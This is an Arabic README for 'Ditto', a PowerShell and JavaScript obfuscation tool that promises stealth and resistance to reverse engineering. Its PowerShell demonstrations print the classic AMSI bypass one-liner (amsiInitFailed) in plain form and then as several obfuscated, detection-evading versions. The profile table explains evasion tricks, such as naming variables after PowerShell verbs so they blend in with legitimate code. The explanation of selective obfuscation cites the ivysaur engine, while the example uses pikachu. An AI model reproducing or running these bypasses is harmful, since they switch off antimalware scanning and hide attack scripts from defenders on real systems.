
يُخفي نصوص PowerShell وJavaScript باستخدام تحليل قائم على tree-sitter مع ملفات تعريف انتحال متعددة قابلة للتكوين لتحقيق التخفي، وصغر الحجم، وصعوبة الهندسة العكسية.
Ditto هو أداة تشويش لـ Powershell و JavaScript مبنية على tree-sitter-powershell و tree-sitter-javascript.
ditto-cli [options]
| الخيار القصير | الخيار الطويل | الوصف |
|---|---|---|
| -h | --help | عرض معلومات المساعدة والخروج. |
| -v | --version | عرض معلومات الإصدار والخروج. |
| -p | --path | المسار إلى ملف السكربت المراد معالجته. |
| -i | --impostor | ملف تعريف الانتحال المستخدم للتشويش (غير حساس لحالة الأحرف). |
| -L | --list | عرض جميع ملفات تعريف الانتحال المتاحة. |
| -t | --time | إظهار الوقت المستغرق في عملية التشويش. |
| -d | --debug-level | مستوى التصحيح. الخيارات: off, error, warn, info, debug, trace (الافتراضي: info). |
| -q | --quiet | إخراج السكربت المشوَّش النهائي فقط، مع كتم جميع السجلات الأخرى. |
تأتي كل لغة مزوّدة بانتحالات مميزة مستوحاة من شخصيات البوكيمون. الانتحال هو وصفة مسماة تربط عدة مراحل تشويش معًا. كل واحد يفضّل مزيجًا مختلفًا من التقنيات، لذا فإن نفس السكربت المشوَّش بواسطة انتحالين مختلفين يبدو مختلفًا تمامًا. اختر الانتحال الذي يناسب احتياجاتك من حيث المفاضلة (التخفي، الحجم، قابلية القراءة، صعوبة فك التشويش).
اعرض جميع الانتحالات المتاحة مباشرة من الطرفية:
ditto-cli --list
لا تتردد في إضافة انتحالك الخاص! وبعدها يمكنك استدعاء ما تريد.
سكربت PowerShell الأصلي:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
أمر التشويش:
ditto-cli --path test.ps1 --impostor ivysaur
المخرجات المشوَّشة:
${Set-mK6} = 1; ${Add-xjQ} = 12; ${Remove-ScJ} = 8; ${Find-V7v} = 7; ${Get-wCX} = 4; ${Set-JEp} = 9; ${Add-3eV} = 16; ${Remove-pIQ} = 52; ${Find-OHR} = 24; ${Get-r4u} = 9076; ${Set-t49} = 89; ${Add-Qvs} = 87; ${Remove-qwO} = 49; ${Find-SMs} = 122; ${Get-wUj} = 97; ${Set-Ox3} = 86; ${Add-VQ5} = 78; ${Remove-EeM} = 108; ${Find-gzG} = 99; ${Get-LGX} = 51; ${Set-X5g} = 112; ${Add-GD5} = 98; ${Remove-aho} = 50; ${Find-3Zs} = 61; ${Get-ihU} = 85; ${Set-nKM} = 100; ${Add-GWd} = 71; ${Remove-Tvm} = 116; ${Find-7ba} = 76; ${Get-oeb} = 107; ${Set-Vxt} = 104; ${Add-rmz} = 109; ${Remove-Fsk} = 70; ${Find-jz5} = 110; ${Get-2TD} = 90; ${Set-TIQ} = 81; ${Add-Ru7} = 117; ${Remove-4HR} = 88; ${Find-T8S} = 48; ${Get-n8s} = 118; ${Set-mmg} = 105; ${Add-PZ1} = 53; ${Remove-xzI} = 66; ${Find-LRq} = 82; ${Get-MFU} = 72; ${Set-W0e} = 77; ${Add-bvf} = 84; ${Remove-3nx} = 57; ${Find-e43} = 106; ${Get-88G} = 119; $f8XP9 = [System.Runtime.InteropServices.Marshal]; $ifXoW = [Ref]; $lgnLf = [System.Text.Encoding]; $Knr3E = [System.Convert]; ${Set-cfudY9iG} = -join 'labolGHcollA'[-${Set-mK6}..-${Add-xjQ}]; ${Add-q3RPK0Xu} = -join 'ylbmessA'[-${Set-mK6}..-${Remove-ScJ}]; ${Remove-50AhxHbh} = -join 'epyTteG'[-${Set-mK6}..-${Find-V7v}]; ${Find-VOSaUhQS} = -join '8FTU'[-${Set-mK6}..-${Get-wCX}]; ${Get-w0xewYE7} = -join 'gnirtSteG'[-${Set-mK6}..-${Set-JEp}]; ${Set-2rZQYi7O} = -join 'gnirtS46esaBmorF'[-${Set-mK6}..-${Add-3eV}]; ${Add-nottCZwE} = -join '=MHbpRXVpNXbB5ibvlGdh12b0VXQuQnbl1WZnFmbh1kLtVGdzl3U'[-${Set-mK6}..-${Remove-pIQ}]; ${Remove-b45sz9Zn} = -join 'dleiFteG'[-${Set-mK6}..-${Remove-ScJ}]; ${Find-mUeEbv73} = -join '==wYpRXY0NFLjlGbiVHUu9mT'[-${Set-mK6}..-${Find-OHR}]; ${Get-hbkDceRb} = -join 'eulaVteS'[-${Set-mK6}..-${Remove-ScJ}]; ${Set-1zjqeqJt} = -join '=QHelRnbvNUaz1WY'[-${Set-mK6}..-${Add-3eV}]; $mem = $f8XP9::${Set-cfudY9iG}(${Get-r4u});$ifXoW.${Add-q3RPK0Xu}.${Remove-50AhxHbh}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Add-nottCZwE})))).${Remove-b45sz9Zn}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Set-t49} + [char]${Add-Qvs} + [char]${Remove-qwO} + [char]${Find-SMs} + [char]${Get-wUj} + [char]${Set-Ox3} + [char]${Add-VQ5} + [char]${Remove-EeM} + [char]${Find-gzG} + [char]${Get-LGX} + [char]${Add-VQ5} + [char]${Set-X5g} + [char]${Add-GD5} + [char]${Remove-aho} + [char]${Remove-pIQ} + [char]${Find-3Zs})))), ($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Find-mUeEbv73})))).${Get-hbkDceRb}($null, $null);$ifXoW.${Add-q3RPK0Xu}.${Remove-50AhxHbh}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Get-ihU} + [char]${Get-LGX} + [char]${Remove-EeM} + [char]${Find-SMs} + [char]${Set-nKM} + [char]${Add-GWd} + [char]${Set-Ox3} + [char]${Remove-Tvm} + [char]${Find-7ba} + [char]${Get-oeb} + [char]${Remove-qwO} + [char]${Set-Vxt} + [char]${Add-GD5} + [char]${Add-rmz} + [char]${Remove-Fsk} + [char]${Find-jz5} + [char]${Get-2TD} + [char]${Add-Qvs} + [char]${Remove-qwO} + [char]${Remove-EeM} + [char]${Add-GD5} + [char]${Find-jz5} + [char]${Set-TIQ} + [char]${Add-Ru7} + [char]${Set-TIQ} + [char]${Remove-4HR} + [char]${Set-Ox3} + [char]${Find-T8S} + [char]${Add-GD5} + [char]${Remove-aho} + [char]${Remove-qwO} + [char]${Set-Vxt} + [char]${Set-nKM} + [char]${Add-GWd} + [char]${Remove-EeM} + [char]${Get-n8s} + [char]${Add-GD5} + [char]${Set-mmg} + [char]${Add-PZ1} + [char]${Remove-xzI} + [char]${Add-GD5} + [char]${Remove-4HR} + [char]${Add-VQ5} + [char]${Set-X5g} + [char]${Set-Ox3} + [char]${Remove-4HR} + [char]${Find-LRq} + [char]${Set-X5g} + [char]${Add-GD5} + [char]${Get-MFU} + [char]${Set-W0e} + [char]${Find-3Zs}))))).${Remove-b45sz9Zn}(($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(${Set-1zjqeqJt}))), ($lgnLf::${Find-VOSaUhQS}.${Get-w0xewYE7}($Knr3E::${Set-2rZQYi7O}(([char]${Add-bvf} + [char]${Add-rmz} + [char]${Remove-3nx} + [char]${Add-Ru7} + [char]${Get-ihU} + [char]${Get-MFU} + [char]${Set-Ox3} + [char]${Set-mmg} + [char]${Add-GD5} + [char]${Add-GWd} + [char]${Remove-EeM} + [char]${Find-e43} + [char]${Find-7ba} + [char]${Remove-Fsk} + [char]${Add-VQ5} + [char]${Find-T8S} + [char]${Set-t49} + [char]${Remove-4HR} + [char]${Find-LRq} + [char]${Set-X5g} + [char]${Set-t49} + [char]${Get-88G} + [char]${Find-3Zs} + [char]${Find-3Zs}))))).${Get-hbkDceRb}($null, [IntPtr]$mem)
سكربت JS الأصلي:
function greet(user) {
console.log("Hello, " + user + "!");
}
greet("World");
أمر التشويش:
ditto-cli --path test.js --impostor Tinkatuff
المخرجات المشوَّشة:
function \u0067\u0072\u0065e\u0074(\u0075\u0073\u0065\u0072) {
\u0063\u006F\u006E\u0073\u006Fle[\u0061\u0074\u006F\u0062((\u0053\u0074r\u0069\u006E\u0067('\x62\u0047') + '\x39\x52\u{00000039}h\u0041\u0062\u{000037}\u003739\x6E\u{0000033}\u0036n'.\u0072\u0065\u0070\u006C\u0061c\u0065\u0041l\u006C(/R9hAb\d{3}9n36/g, '')))](de\u0063\u006F\u0064\u0065\u0055\u0052I\u0043o\u006Dp\u006F\u006E\u0065n\u0074((\u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061\u0077`%48` + '\u{00000025}\x0D\n'.\u0074\u0072im\u0045\u006E\u0064() + ['6\u{000035}', '\x25'].\u006Aoi\u006E('') + '\x36'.\u0074\u006F\u0053\u0074\u0072i\u006E\u0067() + '\u{0000043}%\u0036' + ''.\u006C\u0069n\u006B('C\u0025\x36').\u0073\u006C\u0069\u0063e(9, -6) + new \u0053\u0074\u0072\u0069\u006E\u0067('\u0046\u0025').\u0076\u0061\u006C\u0075\u0065O\u0066() + '\r\u{000000A}\u0032C\x25\u{00000D}\t'.\u0074\u0072\u0069\u006D() + '20'.\u0074r\u0069\u006D\u0045\u006E\u0064())) + \u0075\u0073\u0065\u0072 + \u0064\u0065c\u006F\u0064\u0065\u0055\u0052I((\u0053\u0074r\u0069n\u0067.r\u0061\u0077`%` + '\n\u0020\u{00000020}\x321'.\u0074\u0072\u0069\u006D\u0053tar\u0074())));
}
\u0067\u0072eet(\u0064\u0065c\u006F\u0064\u0065\u0055RI\u0043\u006Fm\u0070\u006Fn\u0065\u006E\u0074(('\u{0000025}\u{0000035}' + '\u{00000037}\u{00025}\n\x0A\u0009\u000A'.t\u0072\u0069\u006D\u0045n\u0064() + '6\u0046%' + \u0053\u0074\u0072\u0069\u006E\u0067.\u0066\u0072\u006F\u006DCh\u0061\u0072\u0043\u006Fd\u0065(55) + '\u{000032}'.\u0062\u0069\u0067().sl\u0069\u0063\u0065(5, -6) + \u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061w`%6` + '\u{000043}' + \u0053\u0074\u0072\u0069\u006E\u0067.\u0072\u0061\u0077`%6` + '4')));
انتحال Ditto لا يشوّش الملف بأكمله. بل يبحث عن تعليقات توجيهية بالصيغة # ditto(<engine>)
ويطبق المحرك المسمى على العبارة الواحدة التي تلي التعليق مباشرة. كل شيء آخر يبقى دون تغيير، ويُزال
تعليق التوجيه نفسه من المخرجات. هذا مفيد عندما تريد إخفاء أجزاء حساسة فقط من سكربت،
أو مزج عدة محركات في ملف واحد.
سكربت PowerShell الأصلي:
Write-Host "starting"
# ditto(pikachu)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
Write-Host "done"
أمر التشويش:
ditto-cli --path test.ps1 --impostor ditto
المخرجات المشوَّشة:
Write-Host "starting"
$WRL6c=109;$DDjV=56;$pjWqV8=86;$r8cnDa=108;$wAD=101;$xtYSTM=50;$IHnFn=51;$787F0=122;$qWcmH0=65;$LgjuIE=77;$ial=52;$kVfXz=103;$gI9H6=104;$E3qM=97;$4Tr4=105;$empCP=117;$KA4XB=89;$TeXxjO=53;$t7IyYw=54;$ogg=114;$pDD=57;$dQXaf=81;$iTBnE=61;$IBf=48;$GUy=71;$cbVM=110;$biGF=85;$Z7Pn=106;$vcF=87;$oqzy3=72;$37C=118;$suPWLN=112;$1Ywq0M=83;$KI9h=119;$B3fd=70;$IScvzV=90;$oveAB=88;$p6TMv=84;$zj7E=98;$wUzL=111;$ToF=107;$Sd0Ozk=100;$AtZ=49;$qeyQOw=121;$NAX=115;$QsySk=82;$Zqk=66;$QYl36=78;$LHhAV=76;$DJp=116;$Rz89sj=([char]$KA4XB+[char]$vcF+[char]$AtZ+[char]$787F0+[char]$E3qM+[char]$biGF+[char]$r8cnDa+[char]$empCP+[char]$E3qM+[char]$oveAB+[char]$QsySk+[char]$GUy+[char]$KA4XB+[char]$vcF+[char]$r8cnDa+[char]$NAX+[char]$IScvzV+[char]$vcF+[char]$dQXaf+[char]$iTBnE);$TNP=([char]$qWcmH0+[char]$NAX+[char]$NAX+[char]$wAD+[char]$WRL6c+[char]$zj7E+[char]$r8cnDa+[char]$qeyQOw);$rF2B=([char]$biGF+[char]$p6TMv+[char]$B3fd+[char]$DDjV);$0xJaev=([char]$GUy+[char]$wAD+[char]$DJp+[char]$p6TMv+[char]$qeyQOw+[char]$suPWLN+[char]$wAD);$vpg=([char]$B3fd+[char]$ogg+[char]$wUzL+[char]$WRL6c+[char]$Zqk+[char]$E3qM+[char]$NAX+[char]$wAD+[char]$t7IyYw+[char]$ial+[char]$1Ywq0M+[char]$DJp+[char]$ogg+[char]$4Tr4+[char]$cbVM+[char]$kVfXz);$ISW=([char]$p6TMv+[char]$WRL6c+[char]$pDD+[char]$empCP+[char]$biGF+[char]$oqzy3+[char]$pjWqV8+[char]$4Tr4+[char]$zj7E+[char]$GUy+[char]$r8cnDa+[char]$Z7Pn+[char]$LHhAV+[char]$B3fd+[char]$QYl36+[char]$IBf+[char]$KA4XB+[char]$oveAB+[char]$QsySk+[char]$suPWLN+[char]$KA4XB+[char]$KI9h+[char]$iTBnE+[char]$iTBnE);$wiiSIm=([char]$biGF+[char]$IHnFn+[char]$r8cnDa+[char]$787F0+[char]$Sd0Ozk+[char]$GUy+[char]$pjWqV8+[char]$DJp+[char]$LHhAV+[char]$ToF+[char]$AtZ+[char]$gI9H6+[char]$zj7E+[char]$WRL6c+[char]$B3fd+[char]$cbVM+[char]$IScvzV+[char]$vcF+[char]$AtZ+[char]$r8cnDa+[char]$zj7E+[char]$cbVM+[char]$dQXaf+[char]$empCP+[char]$dQXaf+[char]$oveAB+[char]$pjWqV8+[char]$IBf+[char]$zj7E+[char]$xtYSTM+[char]$AtZ+[char]$gI9H6+[char]$Sd0Ozk+[char]$GUy+[char]$r8cnDa+[char]$37C+[char]$zj7E+[char]$4Tr4+[char]$TeXxjO+[char]$Zqk+[char]$zj7E+[char]$oveAB+[char]$QYl36+[char]$suPWLN+[char]$pjWqV8+[char]$oveAB+[char]$QsySk+[char]$suPWLN+[char]$zj7E+[char]$oqzy3+[char]$LgjuIE+[char]$iTBnE);$en3=([char]$GUy+[char]$wAD+[char]$DJp+[char]$B3fd+[char]$4Tr4+[char]$wAD+[char]$r8cnDa+[char]$Sd0Ozk);$rlIe=([char]$1Ywq0M+[char]$wAD+[char]$DJp+[char]$pjWqV8+[char]$E3qM+[char]$r8cnDa+[char]$empCP+[char]$wAD);$lmq=([char]$GUy+[char]$wAD+[char]$DJp+[char]$1Ywq0M+[char]$DJp+[char]$ogg+[char]$4Tr4+[char]$cbVM+[char]$kVfXz);${NBX}=[Ref];${Q6V}=[System.Text.Encoding];${93J9}=[System.Convert];${NBX}.$TNP.$0xJaev((${Q6V}::$rF2B.$lmq(${93J9}::$vpg($wiiSIm)))).$en3((${Q6V}::$rF2B.$lmq(${93J9}::$vpg($Rz89sj))), (${Q6V}::$rF2B.$lmq(${93J9}::$vpg($ISW)))).$rlIe($null, $true)
Write-Host "done"
فقط السطر الذي يلي # ditto(ivysaur) هو المشوَّش (بمحرك Ivysaur)؛ بينما يبقى استدعاءا Write-Host كما هما.
cargo build --release --bin ditto-cli
بعد البناء، ستجد الملف التنفيذي في ./target/release/
cargo run --release --bin ditto-cli -- {args goes here}
| الانتحال | ما يفعله |
|---|
| Pikachu | الشخصية الشاملة. يحوّل القيم الحرفية إلى سلاسل ثابتة، ويعيد كتابة الأوامر وأعضاء الأنواع كسلاسل نصية، ويشفر السلاسل بـ Base64، ويقسّم الأعداد الصحيحة مع modulo/hexlify مضمّن، ويعيد تسمية المتغيرات عشوائيًا. خيار افتراضي متوازن. |
| Bulbasaur | انتحال للمبتدئين. إعادة كتابة السلاسل/الأوامر/الأعضاء، تشفير Base64، أسماء متغيرات عشوائية، وأعداد صحيحة يُعاد بناؤها عبر خدعة modulo معكوسة. خفيف ومقروء نسبيًا. |
| Ivysaur | تطوّر Bulbasaur. نفس الوصفة الأساسية لكن المتغيرات تُسمى بأفعال PowerShell (${Set-...}, ${Add-...}, ${Remove-...}) للاندماج مع الكود المشروع، بالإضافة إلى hexlify مضمّن وأعداد صحيحة معكوسة modulo. |
| Charizard | الضربة القوية. سلاسل ثابتة، Base64، modulo/hexlify مضمّن عشوائي، الأعضاء كسلاسل، أعداد صحيحة معكوسة modulo، وأسماء متغيرات وأنواع عشوائية مكدسة معًا لتشويش عدواني. |
| Alakazam | عبقري الرياضيات. يحسب مسبقًا كل قيمة منطقية وعدد صحيح إلى تعبيرات حسابية، ويفكّك تعبيرات الاستدعاء، ويحوّل الأوامر والأعضاء والأنواع إلى سلاسل. ينتج مخرجات كثيفة وغنية بالتعبيرات. |
| Onix | متخصص المصفوفات. يخزّن الرموز في مصفوفات ثابتة، يخلطها، يشفرها عبر foreach، ويعيد بناء كل عدد صحيح عبر حساب XOR/add يُقيَّم في وقت التشغيل. |
| Eevee | معيد التسمية. يعيد تسمية جميع الدوال والمعاملات والمتغيرات عشوائيًا، ويعيد كتابة الأوامر/الأعضاء كسلاسل، ويخصص أسماء بنمط UUID وأسلوب الأفعال مع إخفاء بالبدائل. يركز على تشويش المعرفات. |
| Ditto | المحاكي — انتحال فوقي. بدلاً من تحويل الملف بأكمله، يفحص المصدر بحثًا عن تعليقات # ditto(<engine>) ويطبق المحرك المسمى فقط على العبارة التي تلي التعليق مباشرة. يتيح لك هذا مزج الانتحالات داخل سكربت واحد. انظر التشويش الانتقائي مع Ditto. |
| الانتحال | ما يفعله |
|---|
| Tinkatuff | الافتراضي المتوازن. يعيد كتابة الوصول إلى الأعضاء كفهارس سفلية، ويحوّل أحيانًا التعبيرات إلى switch/if-else، ويحوّل الأرقام إلى تعبيرات رياضية، ويشفر/يقسّم/يهرب السلاسل والمعرفات. توازن جيد بين التغطية والحجم. |
| Unown | تشفير الرموز. يشفر الأرقام والسلاسل والقيم المنطقية والخاصة والكائنات الافتراضية بحيل بأسلوب JSFuck ويعيد تسمية المعرفات باستخدام $ و _ فقط. المخرجات شبه غير قابلة للقراءة. |
| Metagross | "انتظر، كلها أرقام؟" يحوّل السلاسل إلى fromCharCode، ويعيد كتابة كل رقم كتعبير، ويعيد تسمية جميع المعرفات إلى أسماء شبيهة بالأرقام. المخرجات تتكون تقريبًا بالكامل من أرقام. |
| Wailord | الحوت. ينتج مخرجات ضخمة (متوسط نسبة التوسع ~4643x). استخدمه فقط على السكربتات الصغيرة — فهو يكدس معرفات بأسماء فقاعات، وتقسيم السلاسل، وأرقام JSFuck، وتحويلات المصفوفات. |
| Clefable | المقامر. يختار عشوائيًا من بين جميع المراحل المتاحة لتحصل على مخرجات "صغيرة" نسبيًا تحمل مع ذلك كل أنواع الحماية. على من يفك التشويش التعامل مع كل مرحلة ممكنة. نظرًا لأن المراحل تُختار عشوائيًا وقد تتداخل، قد تحتاج إلى تشغيله عدة مرات. |
| Cofagrigus | المقبرة. يعيد تسمية المعرفات بأسماء هيروغليفية مصرية، ويشفر السلاسل، ويعيد كتابة الأرقام كتعبيرات، ويطبق تحويلات "لعنة" على السلاسل/الأرقام. مخرجات غامضة وكثيفة وصعبة القراءة. |